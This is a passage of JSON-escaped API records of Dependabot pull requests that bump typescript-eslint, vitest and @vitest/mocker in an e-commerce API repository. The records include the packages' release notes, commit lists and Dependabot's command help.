href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/raouf-b-dev/ecommerce-store-api/pull/362","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/raouf-b-dev%2Fecommerce-store-api/issues/362","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/362/packages"},{"uuid":"5995019952","node_id":"PR_kwDORBHUY88AAAABKNtMQA","number":106,"state":"closed","title":"build(deps): bump @vitest/mocker and vitest","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T12:57:14.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T09:05:42.000Z","updated_at":"2026-10-23T12:57:22.000Z","time_to_close":13892,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"@vitest/mocker","repository_url":"https://github.com/vitest-dev/vitest","old_version":"3.2.7","new_version":"5.0.5"},{"name":"vitest","repository_url":"https://github.com/vitest-dev/vitest","old_version":"3.2.7","new_version":"5.0.5"}],"path":null,"ecosystem":"npm"},"body":"Bumps [@vitest/mocker](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker) to 5.0.5 and updates ancestor dependency [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest). These dependencies need to be updated together.\n\nUpdates `@vitest/mocker` from 3.2.7 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/mocker's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca 